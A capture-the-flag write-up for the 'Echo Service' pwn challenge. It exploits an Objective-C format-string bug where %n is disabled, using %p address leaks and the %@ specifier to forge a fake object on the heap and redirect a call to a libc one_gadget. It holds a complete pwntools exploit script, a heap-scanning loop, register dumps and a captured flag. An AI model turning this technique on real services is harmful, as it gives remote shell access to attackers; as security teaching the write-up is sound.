Echo Service (400) - 11 solves

No %n for you nc echo.stillhackinganyway.nl 1337

Attachment: echoservice libc.so.6 xpl.py

At first glance, this binary is exactly what it’s name tells us: an echoservice.

$ ./echoservice
AAAABBBB
2017-08-06 19:53:00.132 echoservice[13577:13577] AAAABBBB
%p.%p.%p.%p
2017-08-06 19:53:09.371 echoservice[13577:13577] (null).(null).0x55555593c9c0.0x55555593c6c0
%10$n
2017-08-06 19:54:37.983 echoservice[13577:13577] %n is for n00bs! Let's see how you do without it...
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

So, it seems to be vulnerable to format string attacks, but like the challenge description already stated, we won’t be able to use %n.

Ok, this might get interesting. But for a start, just let’s use the format string in the casual manner to leak some addresses. Since PIE and ASLR is active, we’ll sure need some later on.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "echo.stillhackinganyway.nl"
PORT = 1337

def readValue(param):
	global PARAMOFF

	r.sendline("%%%d$p" % (param))
	r.recvuntil("]")
	LEAK = int(r.recvline().strip(), 16)

	return LEAK

def exploit(r):
	log.info("Leak PIE address")

	PIELEAK = readValue(6)
	PIE = PIELEAK - 0x2023a0
	
	log.info("Leak LIBC address")	
	
	LIBCLEAK = readValue(1)
	LIBC = LIBCLEAK - 0x3c4b40
	BINSH = LIBC + 0x18cd17
	
	log.info("Leak HEAP address")

	HEAPLEAK = readValue(4)

	log.info("PIE leak       : %s" % hex(PIELEAK))
	log.info("PIE base       : %s" % hex(PIE))
	log.info("LIBC leak      : %s" % hex(LIBCLEAK))
	log.info("LIBC base      : %s" % hex(LIBC))
	log.info("HEAP leak      : %s" % hex(HEAPLEAK))

if __name__ == "__main__":	
	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)
		exploit(r)
	else:	
		LOCAL = True
		r = process("/echoservice", env={"LD_PRELOAD":"./libc.so.6"})
		print util.proc.pidof(r)
		pause()
		exploit(r)
$ python xpl.py 1
[+] Opening connection to echo.stillhackinganyway.nl on port 1337: Done
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak       : 0x55ae73fee3a0
[*] PIE base       : 0x55ae73dec000
[*] LIBC leak      : 0x7f3715bd3b40
[*] LIBC base      : 0x7f371580f000
[*] HEAP leak      : 0x55ae75afce90

Ok, with this out of way… How can this be exploitable without being able to overflow a buffer or using %n.

Well, that stumped me a while, but after reversing the binary, the idea arose, that this might have something to do with the objective c implementation for format strings.

And yes, they added an additional format string parameter : %@

From the apple developer reference:

%@
Objective-C object, printed as the string returned by descriptionWithLocale: if available, or description otherwise. 
Also works with CFTypeRef objects, returning the result of the CFCopyDescription function.

Let’s give it a try.

$ ./echoservice
%13$p   AAAABBBB
2017-08-06 20:17:30.465 echoservice[20474:20474] 0x4242424241414141   AAAABBBB
%13$@   AAAABBBB
Segmentation fault

Well, doesn’t this look intriguing?

Analyzing it in gdb, shows, that it breaks in objc_msg_lookup trying to dereference our input string and stuffing it into rbp

RAX: 0xc0 
RBX: 0x0 
RCX: 0x7fffffffc570 --> 0x9203d20f7dd3b40 
RDX: 0x0 
RSI: 0x7ffff7901990 --> 0x1300000003 
RDI: 0x4242424241414141 ('AAAABBBB')
RBP: 0x7fffffffd6f0 --> 0x7fffffffe790 --> 0x5555557d8fb0 --> 0x7ffff790fa00 --> 0x7ffff790fc40 --> 0x7ffff72129e0 (0x00007ffff72129e0)
RSP: 0x7fffffffc530 ("ng = \t\t\"")
RIP: 0x7ffff7008b63 --> 0x8b48068b482f8b48 
R8 : 0x0 
R9 : 0x1e 
R10: 0x20 (' ')
R11: 0x0 
R12: 0xffffffffffffffff 
R13: 0x4242424241414141 ('AAAABBBB')
R14: 0x7fffffffc6a0 --> 0xffffffff 
R15: 0x7fffffffd700 --> 0x7ffff79110c0 --> 0x7ffff79116e0 --> 0x7ffff72129e0 (0x00007ffff72129e0)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7008b5d <objc_msg_lookup+13>:	push   rbp
   0x7ffff7008b5e <objc_msg_lookup+14>:	push   rbx
   0x7ffff7008b5f <objc_msg_lookup+15>:	sub    rsp,0x8
=> 0x7ffff7008b63 <objc_msg_lookup+19>:	mov    rbp,QWORD PTR [rdi]
   0x7ffff7008b66 <objc_msg_lookup+22>:	mov    rax,QWORD PTR [rsi]
   0x7ffff7008b69 <objc_msg_lookup+25>:	mov    rdx,QWORD PTR [rbp+0x40]
   0x7ffff7008b6d <objc_msg_lookup+29>:	mov    r8d,eax
   0x7ffff7008b70 <objc_msg_lookup+32>:	mov    rcx,rax

Since we control rdi, we can also control the value rbp will get. Let’s start forging a frame for setting the registers.

Searching our input string on the heap and calculating it’s offset from the leaked heap address gives us a base address to work with.

From here on, it’s just some debugging work, finding the correct offsets for our variables and build a frame on the heap, so that the registers get overwritten with the correct pointers.

HEAPBASE = HEAPLEAK - 0x93cc8

payload = "%13$@   "	
payload += p64(HEAPBASE + 0x8)       # RDI
payload += p64(HEAPBASE + 0x10)      # RBP
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae"

Let’s highlight the interesting parts from objc_msg_lookup, which will get called in one print call

0x7ffff7008b63 <objc_msg_lookup+19>:    mov    rbp,QWORD PTR [rdi]
0x7ffff7008b66 <objc_msg_lookup+22>:    mov    rax,QWORD PTR [rsi]
0x7ffff7008b69 <objc_msg_lookup+25>:    mov    rdx,QWORD PTR [rbp+0x40]

Again, since we control rdi, we control from where rbp gets filled. We aren’t able to influence raxat this point, but rdx gets filled from rbp+0x40 , so we’ll be able to control the value for rdx also.

[----------------------------------registers-----------------------------------]
RAX: 0x3 
RCX: 0x13 
[-------------------------------------code-------------------------------------]
   0x7ffff7008ba0 <objc_msg_lookup+80>:	mov    r8,QWORD PTR [rdx]
   0x7ffff7008ba3 <objc_msg_lookup+83>:	mov    eax,eax
=> 0x7ffff7008ba5 <objc_msg_lookup+85>:	mov    rax,QWORD PTR [r8+rax*8]
   0x7ffff7008ba9 <objc_msg_lookup+89>:	mov    rax,QWORD PTR [rax+rcx*8]

And here it goes on. Since we control rdx we control r8. rax will be 0x3 and rcx will be 0x13 at this point.

By knowing this and controlling r8, we’re also controlling rax

And now something beautiful happens :)

[----------------------------------registers-----------------------------------]
RAX: 0xdeadbeef 
RBX: 0x0 
RCX: 0x13 
RDX: 0x7ffff7901980 --> 0x1c00000006 
RSI: 0x7ffff7901990 --> 0x1300000003 
RDI: 0x55555582c470 --> 0x55555582c478 ('A' <repeats 64 times>, "\300ĂUUU")
RBP: 0x7fffffffd6f0 --> 0x7fffffffe790 --> 0x5555557d8fb0 --> 0x7ffff790fa00 --> 0x7ffff790fc40 --> 0x7ffff72129e0 (0x00007ffff72129e0)
RSP: 0x7fffffffc570 --> 0x9203d20f7dd3b40 
RIP: 0x7ffff7398871 --> 0x1565840fc084 
R8 : 0x55555582c4c8 ('B' <repeats 24 times>, "hĂUUU")
R9 : 0x1e 
R10: 0x20 (' ')
R11: 0x0 
R12: 0xffffffffffffffff 
R13: 0x55555582c470 --> 0x55555582c478 ('A' <repeats 64 times>, "\300ĂUUU")
R14: 0x7fffffffc6a0 --> 0xffffffff 
R15: 0x7fffffffd700 --> 0x7ffff79110c0 --> 0x7ffff79116e0 --> 0x7ffff72129e0 (0x00007ffff72129e0)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7398865:	lea    rsi,[rip+0x569124]        # 0x7ffff7901990
   0x7ffff739886c:	mov    rdi,r13
=> 0x7ffff739886f:	call   rax
   0x7ffff7398871:	test   al,al
   0x7ffff7398873:	je     0x7ffff7399dde
   0x7ffff7398879:	lea    rsi,[rip+0x569120]        # 0x7ffff79019a0
   0x7ffff7398880:	mov    rdi,r13
   0x7ffff7398883:	call   0x7ffff73820a0
[------------------------------------stack-------------------------------------]

Calling rax

Though we cannot overwrite an specific address in memory like we would have done with %n, but that shiny new format string parameter allows us to call a function instead.

So our payload for setting up a frame to get to this call looks like this:

payload = "%13$@   "	
payload += p64(HEAPBASE + 0x8)       # RDI
payload += p64(HEAPBASE + 0x10)      # RBP
payload += "A"*64
payload += p64(HEAPBASE + 0x58)      # RDX
payload += p64(HEAPBASE + 0x60)      # R8
payload += "B"*24
payload += p64(HEAPBASE)             # RAX
payload += "A"*24
payload += p64(0xdeadbeef)           # RIP

We should be able to use a magic gadget now to trigger a shell. On my local machine, none of the constraints for one_gadget could be satisfied, since my stack was filled with junk.

I just added a call to the function, which reads our input, thus creating a new stack frame and now successfully executing the magic gadget.

ONE = LIBC + 0x4526a
CALLREAD = PIE + 0xF92

log.info("Calling read function to create new stack frame")

payload = "%13$@   "	
payload += p64(HEAPBASE + 0x8)       # RDI
payload += p64(HEAPBASE + 0x10)      # RBP	
payload += "A"*64
payload += p64(HEAPBASE + 0x58)      # RDX	
payload += p64(HEAPBASE + 0x60)      # R8	
payload += "B"*24
payload += p64(HEAPBASE)             # RAX	
payload += "A"*24
payload += p64(CALLREAD)             # RIP
	
r.sendline(payload)

log.info("Calling one gadget to trigger shell")

payload = "%13$@   "	
payload += p64(HEAPBASE + 0x8)       # RDI
payload += p64(HEAPBASE + 0x10)      # RBP	
payload += "A"*64
payload += p64(HEAPBASE + 0x58)      # RDX	
payload += p64(HEAPBASE + 0x60)      # R8	
payload += "B"*24
payload += p64(HEAPBASE)             # RAX	
payload += "A"*24
payload += p64(ONE)                  # RIP
	
r.sendline(payload)
$ python xpl.py 
[+] Starting local process '/echoservice': pid 5602
[5602]
[*] Paused (press any to continue)
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak       : 0x5555557563a0
[*] PIE base       : 0x555555554000
[*] LIBC leak      : 0x7ffff7dd3b40
[*] LIBC base      : 0x7ffff7a0f000
[*] HEAP leak      : 0x5555558c0130
[*] HEAP base      : 0x55555582c468
[*] Calling read function to create new stack frame
[*] Calling one gadget to trigger shell
[*] Switching to interactive mode
$ whoami
kileak

A local shell popping up… Victory within reach… But… remote service says no =(

This took me quite a while to fix. It turned out, that the heap structure on the remote machine was different, and so our frame on the heap wasn’t stored at the same offset from the leaked heap address.

In despair, I wrote a “heap scanner”, putting 1000 A’s on the heap, and tried to find them with %13$s

for i in range(1000, 2000):
    payload = "%13$s   "
    payload += p64(HEAPLEAK - (i*1000))	
    payload += "A"*1000

    r.sendline(payload)
    resp = r.recvline()

    if "AAA" in resp:
    	print "Found payload at: %d" % i
    	break

Not a very clean method, but with this, I was able to find the payload on the heap again. Whilst becoming desparate, not getting the exploit working, I also had rearranged the frame.

Resulting in this final payload:

ONE = LIBC + 0x4526a
HEAPBASE = HEAPLEAK - (1139*1000)-72

payload = "%13$@   "
payload += p64(HEAPBASE+0x28)   # RDI	
payload += "A"*(8*5)			
payload += p64(HEAPBASE+0x20)   # RBP  
payload += "B"*48
payload += p64(HEAPBASE+0x76)   # RDX	
payload += "A"*14
payload += p64(HEAPBASE+0x76)   # R8 
payload += "B"*16
payload += p64(HEAPBASE+0x20)   # RAX 
payload += "CC"	
payload += p64(ONE)*5           # RIP 

r.sendline(payload)

r.sendline("cat flag")

r.interactive()
$ python xpl.py  1
[+] Opening connection to echo.stillhackinganyway.nl on port 1337: Done
[*] Leak PIE address
[*] Leak LIBC address
[*] Leak HEAP address
[*] PIE leak       : 0x5629f62f43a0
[*] PIE base       : 0x5629f60f2000
[*] LIBC leak      : 0x7f3b7bfe8b40
[*] LIBC base      : 0x7f3b7bc24000
[*] HEAP leak      : 0x5629f680ce90
[*] HEAP base      : 0x5629f67791f0
[*] Calling read function to create new stack frame
[*] Switching to interactive mode
flag{32ee124c49e3de4555b0f1c063539ef0}

Quite a ride, but really enjoyed this challenge…